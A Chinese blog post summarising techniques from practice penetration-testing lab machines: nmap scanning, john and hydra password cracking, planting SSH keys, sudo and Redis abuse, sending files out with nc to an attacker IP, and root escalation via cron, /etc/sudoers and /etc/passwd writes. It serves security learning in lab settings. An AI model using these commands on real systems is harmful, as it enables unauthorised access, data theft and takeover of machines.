前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >靶机知识点汇总

靶机知识点汇总

作者头像
yichen
发布2020-07-06 15:40:35
6080
发布2020-07-06 15:40:35
举报

做了二十个靶机了(公众号发会留两个存货),对一些知识点做个汇总

一些没啥意思的用 exp 直接打的,不计进来

nmap

在做靶机之前,我对于 web 安全的了解仅限于一些基础的 CTF 题目,压根就没用过 nmap,虽然看过几篇介绍的文章

代码语言:javascript
复制
nmap -sC -A -T 4 -n -p- 10.10.10.171
nmap参数:
-sC      根据端口识别的服务,调用默认脚本
-A       OS识别,版本探测,脚本扫描和traceroute
-T(0-5)  时间优化
-n/-R    不对IP进行域名反向解析/为所有的IP都进行域名的反向解析
-p-      扫描所有端口

searchsploit

searchsploit 是一个命令行搜索 exp 的工具,可以直接在 kali 终端中搜 exp,使用空格来区分关键词

例如:searchsploit opennetadmin

加上 -m 可以把 exp 复制到当前目录

netstat

netstat 各个参数解释

代码语言:javascript
复制
-a (all)显示所有选项,默认不显示LISTEN相关
-t (tcp)仅显示tcp相关选项
-u (udp)仅显示udp相关选项
-n 拒绝显示别名,能显示数字的全部转化成数字
-l 仅列出有在 Listen (监听) 的服务状态
-p 显示建立相关链接的程序名
-r 显示路由信息,路由表
-e 显示扩展信息,例如uid等
-s 按各个协议进行统计
-c 每隔一个固定时间,执行该netstat命令

ssh相关

john爆破密钥密码

用户将自己的公钥存储在远程主机上面,登陆的时候远程主机会向用户发送一段随机字符串,用户用私钥加密之后再将加密后的发送给主机,如果主机能够用公钥解密成功则可以连接

如果能查看密钥的话可以保存下来,然后用密钥去连接,如果密钥有密码的话,可以使用 ssh2john.py 先转换成 john 格式

代码语言:javascript
复制
python /usr/share/john/ssh2john.py mi > sshjohn

然后使用 john 爆破一下

代码语言:javascript
复制
john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn

使用 john 爆破 --wordlist 指定字典

john 工具对于同一个 shadow 文件只会进行一次爆破,如果第二次执行 john shadow 是不会得到结果的

如果想查看上一次爆破的结果,可以加上个 --show

hydra爆破ssh

代码语言:javascript
复制
hydra -l jim -w 10 -P 1.txt -t 10 -v -f 192.168.149.160 ssh

-l jim        指定爆破账号为 jim
-L user.txt   指定用户名字典为 user.txt
-w 10         设置最大超时时间10s,默认30s
-P pwd.txt    指定密码字典为 pwd.txt
-t 10         指定爆破线程为 10 个
-v            指定显示爆破过程
-f            查找到第一个可以使用的账号和密码的时候停止破解

authorized_keys

authorized_keys,里面实际放的就是客户机的公钥,只要公钥在这里面,这个客户机就不用使用密码就能登录

一开始 ubuntu 中没有这个文件

wsl 用 ssh 登录 ubuntu 是需要密码的

如果我把 wsl 的公钥拷出来,放到 ubuntu 用户 yichen 的 .ssh 下 authorized_keys 中,那么将不再需要密码

那么,如果有权限,可以把自己生成的公钥拷到目标的 authorized_keys 中,那么就可以直接 ssh 登录到这个用户

(那个靶机是允许执行另一个用户的 cp 命令,然后拷贝公钥到 .ssh/authorized_keys,再登录。但感觉实际用不到,会有这么用的?也许吧?)

sudo -l

sudo -l 可以列出当前用户可以执行哪一些指令,如果有 NOPASSWD 的,就是不需要密码就能使用 sudo 的

例如,php 是不用密码就能使用 sudo 的,那么可以写一个 php 脚本 <?php system('/bin/sh'); ?>,然后 sudo 一执行就能拿到 root 权限

还有很多软件可以具体找一下他们怎么能开一个 shell,sudo 打开就是 root

redis未授权访问

关于 redis 核心利用点是,通过没有身份校验的 redis 服务进行登陆,同时指定 config dir 和 config dbfilename 的路径与名称,达到把本地公钥存储到远程服务器上,这时候在通过 ssh 进行远程登陆。可以获得名为 redis 的 shell

有个利用脚本

https://github.com/Avinash-acid/Redis-Server-Exploit

python终端

一般打开的 shell,只有一个 $ 符号,通过这个能好看一下

代码语言:javascript
复制
python -c "import pty;pty.spawn('/bin/bash')"

从靶机上拷出东西来

(如果有 web 服务的话,直接拷到 web 目录,然后下载应该也可以吧)

攻击机新开一个终端,用来接收那个压缩包文件

代码语言:javascript
复制
nc -lvp 10001 >backup-ssh-identity-files.tgz

靶机 shell 里面使用

代码语言:javascript
复制
nc 10.10.15.84 10001 < backup-ssh-identity-files.tgz

rbash逃逸

rbash 会限制一些命令没法用

参考:https://xz.aliyun.com/t/7642

whatweb

一个命令行下识别 cms 的工具

当你能root权限写文件

写计划任务

cron 的默认配置文件是 /etc/cronted,#开头的是注释,不会被处理

然后上面的内容是来设置 cron 的运行环境的

* 表示任意的数,即每分钟、每小时、每天...

如果有编辑文件的软件(比如 teehee)是 root 权限运行的话可以写

代码语言:javascript
复制
* * * * * root chmod 4777 /bin/sh

等个一分钟就能获得一个 root 权限的 shell

写/etc/sudoers

这个东西的作用是当用户执行 sudo 的时候,会先到这里面去找,如果发现用户有 sudo 的权限就能直接以 root 的权限来执行命令

文件内容公式:

代码语言:javascript
复制
授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2...

那么可以往里写

代码语言:javascript
复制
yichen ALL=(ALL:ALL) ALL

这样 yichen 就能通过 sudo 来执行 root 权限

又或者 peter 可以不使用密码用 sudo 执行任何命令

代码语言:javascript
复制
peter ALL=(ALL) NOPASSWD: ALL

写/etc/passwd

首先要生成 hash

代码语言:javascript
复制
openssl passwd -1 -salt yichen 123456

用户名:yichen,密码:123456

代码语言:javascript
复制
echo 'yichen:$1$yichen$6nzFZVX5T21iu2AmBgzin/:0:0:yichen:/root:/bin/bash' >> /etc/passwd

然后 su yichen,输入密码:123456 就拿到 root 权限了

后续更新汇总:

https://www.yuque.com/hxfqg9/web/gxg68i

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档